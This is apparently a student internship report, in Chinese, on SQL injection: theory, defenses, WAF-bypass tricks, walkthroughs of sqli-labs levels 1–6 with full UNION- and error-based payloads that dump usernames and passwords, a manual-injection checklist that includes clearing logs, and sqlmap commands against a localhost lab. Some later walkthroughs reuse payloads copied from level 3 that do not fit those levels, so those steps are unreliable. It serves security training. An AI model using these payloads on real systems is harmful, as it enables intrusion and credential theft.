毕业实习-5

一、总结（SQL）

1.1 SQL注入原理

SQL注入是一种攻击技术，攻击者通过在输入字段中插入恶意SQL代码，操控数据库执行未授权的操作。其原理主要是利用应用程序对用户输入的验证不足，导致恶意SQL语句被执行。

1.2 SQL注入常用函数及含义

1. UNION SELECT: 用于合并多个SELECT语句的结果，攻击者可以利用它从其他表中获取数据。
2. SELECT: 用于从数据库中查询数据，攻击者可以通过构造恶意的SELECT语句来获取敏感信息。
3. OR 1=1: 通过逻辑运算符使条件始终为真，从而绕过身份验证。
4. DROP TABLE: 用于删除数据库中的表，攻击者可以利用它破坏数据。
5. INSERT INTO: 用于向表中插入数据，攻击者可以利用它添加恶意数据。

1.3 SQL注入防御手段

1. 参数化查询: 使用预编译语句，确保用户输入被视为数据而非代码。
2. 输入验证: 对用户输入进行严格的格式验证，拒绝不符合预期的数据。
3. 最小权限原则: 数据库用户应仅具有执行必要操作的权限，限制潜在损害。
4. 使用Web应用防火墙（WAF）: 监控和过滤恶意请求，提供额外的安全层。
5. 定期安全审计: 定期检查代码和数据库配置，发现并修复潜在漏洞。

1.4 SQL注入常用绕过WAF的方法

1. 编码绕过: 使用URL编码、Unicode编码等方式对SQL注入 payload 进行编码，绕过WAF的检测。
2. 注释符号: 在SQL语句中插入注释符号（如--或/*...*/），使WAF无法识别完整的注入语句。
3. 变形技术: 通过改变SQL语句的结构（如使用不同的空格、换行符）来规避WAF的规则。
4. 使用时间延迟: 通过时间盲注（如SLEEP()函数）来测试注入是否成功，避免直接返回数据。
5. 分段注入: 将注入 payload 分成多个部分，逐步发送，避免被WAF检测到。

通过了解SQL注入的原理、常用函数、防御手段及绕过方法，可以更好地保护应用程序和数据库的安全。

二、sqli-labs通关

2.1 lees-1

（GET-基于错误-单引号-字符串）

判断注入类型

首先注入正确的参数，网页回显正常

?id=1

单引号闭合，网页回显MYSQL报错，说明存在漏洞

?id=1'

将后边sql语句的内容注释掉

?id=1' --+

获取数据库信息

联合注入

1.先知道表格有几列，如果报错就是超过列数，如果显示正常就是没有超出列数

?id=1' order by 4--+ 

?id=1' order by 3--+ 

2.爆出显示位，就是看看表格里面那一列是在页面显示的。

?id=-1'union select 1,2,3--+

3.爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

4.爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

5.获取users和password字段中的内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

2.2 Lees -2

GET-Error based-Intiger based (基于错误的 GET 整型注入)

判断注入类型

先注入正常参数，网页回显正常的信息

?id=1

尝试注入单引号闭合，网页回显 MySQL 报错，说明存在注入漏洞

?id=1'

当我们输入单引号或者双引号可以看到报错，且报错信息看不到数字，所有我们可以猜测sql语句应该是数字型注入,数字型注入和字符型注入的区别在于我们不需要用单引号去闭合，其他操作基本相同

?id=1'--+

获取数据库信息

判断表有几列，使用 ORDER BY 子句进行排序，看对几列有效

?id=1 ORDER BY 3--+ 有效

?id=1 ORDER BY 4--+ 无回显、无效

即：有 3 列可用

接下来判断哪些列是我们能用的，令 id 参数的查询不到结果，然后是同 UNION 进行组合查询。网页回显了数字 2 和 3，说明第二列和第三列是我们可以用的

?id=99 UNION SELECT 1,2,3--+

爆数据库名，我们选择第二个位置作为显示位

?id=99 UNION SELECT 1,database(),3 --+

爆表名：

?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

我们需要用的就是users表，爆users表的字段

?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

爆 users 表中的信息

?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

2.3 Lees-3

GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)

判断注入类型

?id=1

尝试单引号闭合，网页回显 MySQL 语句报错，说明存在注入漏洞

根据报错信息，我们需要加一个括号闭合

?id=1')--+

获取数据库信息

判断表有几列

?id=1') ORDER BY 3--+ 有回显

?id=1') ORDER BY 4--+ 无回显

即：有 3 列
判断哪些列我们能用

?id=99') UNION SELECT 1,2,3--+

爆数据库名

?id=99') UNION SELECT 1,database(),3 --+

爆表明

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

爆 users 表的字段：

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

获取目标信息
爆出 users 表中的信息

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

2.4 Lees-4

GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入）

判断注入类型

先输入正常的参数，网页回显正常的信息

 ?id=1

尝试输入单引号，网页回显正确的信息（没有发生 MySQL 语句报错）

?id=1'

尝试注入双引号闭合，MySQL 语句报错，说明存在注入漏洞，并且闭合符号是双引号

?id=1"

加上–+，注释掉后面的 SQL 语句，其他步骤与前几题操作相同

?id=1")--+

获取数据库信息

判断表有几列

?id=1') ORDER BY 3--+ 有回显

?id=1') ORDER BY 4--+ 无回显

即：有 3 列
判断哪些列我们能用

?id=99') UNION SELECT 1,2,3--+

爆数据库名

?id=99') UNION SELECT 1,database(),3 --+

爆表明

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

爆 users 表的字段：

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

获取目标信息
爆出 users 表中的信息

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

2.5 Lees-5

GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)

如果数据不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数，首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间

我们输入参数?id=1进行测试：

可以发现页面回显和前几关完全不一样，并没有直接给我们输出某条信息，这个时候我们别慌，先找它的注入点是什么，老方法，我们输入测试语句：

?id=1' and '1'='1

页面回显如下：

可以看到页面回显正常。接着我们输入测试语句：

?id=1' and '1'='2

页面回显如下：

可以看到页面回显不正常，说明注入点大概率就是单引号，如果后续爆破语句爆破不出来的话就测试其他注入点即可。

接下来我们去猜解一下数据库中的字段数，输入语句：

?id=1' group by x --+

(x是根据情况进行输入，经过最后猜解可得字段数为3)

接下来我们尝试去看一下这一关的显示位，输入语句：

?id=-1' union select 1,2,3 --+

页面回显如下：

可以看到页面并没有给我们反馈出任何一个显示位，那也就是说这一关不存在显示位，一般情况下没有显示位首选报错注入（经验），当然如果报错注入不可行也可以通关其他注入方式。

爆数据库名

?id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+

爆表名

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

爆 users 表的字段：

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+

获取目标信息

爆出 users 表中的信息

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+

三、SQLi的手工注入步骤

手工SQL注入（SQL Injection，SQLi）是一种常见的网络攻击技术，攻击者通过在输入字段中插入恶意SQL代码，来操控数据库。以下是手工SQL注入的基本步骤：

1. 信息收集：

   • 确定目标网站的输入点，例如登录表单、搜索框、URL参数等。
   • 了解应用程序的数据库类型（如MySQL、PostgreSQL等）。

2. 测试输入点：

   • 在输入字段中插入简单的SQL注入测试字符串，例如 ' OR '1'='1，观察应用程序的响应。
   • 检查是否返回错误信息或意外的结果，以确认是否存在SQL注入漏洞。

3. 识别数据库类型：

   • 根据错误信息或响应行为，判断后端数据库的类型（如MySQL、SQL Server等），这将影响后续的注入策略。

4. 获取数据库信息：

   • 使用联合查询（UNION SELECT）来提取数据库中的信息，例如表名、列名等。
   • 示例：' UNION SELECT null, database(), user() --

5. 提取数据：

   • 一旦识别出表和列，可以继续构造查询以提取敏感数据，如用户凭证、个人信息等。
   • 示例：' UNION SELECT username, password FROM users --

6. 绕过安全措施：

   • 如果应用程序有防护措施（如输入过滤），可以尝试使用编码、注释或其他技巧来绕过这些限制。

7. 执行任意SQL命令：

   • 在确认注入成功后，可以执行更复杂的SQL命令，例如删除数据、修改数据等。

8. 清理痕迹：

   • 在攻击完成后，攻击者可能会尝试清理日志或其他痕迹，以避免被发现。

请注意，进行SQL注入测试必须在合法授权的情况下进行，未经授权的攻击是违法的。

四、sqlmap通关（第六关）

1.检测注入点python .\sqlmap.py -u http://127.0.0.1/Less-6/?id=1

2.得出所有数据库名python .\sqlmap.py -u http://127.0.0.1/Less-6/?id= --dbs

3.查看当前使用的数据库：python .\sqlmap.py -u http://127.0.0.1/Less-6/?id=1' --current-db

4.获取表python .\sqlmap.py -u http://127.0.0.1/Less-6/?id=1 -D security --tables

5.获取字段python .\sqlmap.py -u http://127.0.0.1/Less-6/?id=1 -D security -T users --columns

6.获取数据python .\sqlmap.py -u http://127.0.0.1/Less-6/?id=1 -D security -T users -C id,username,password --dump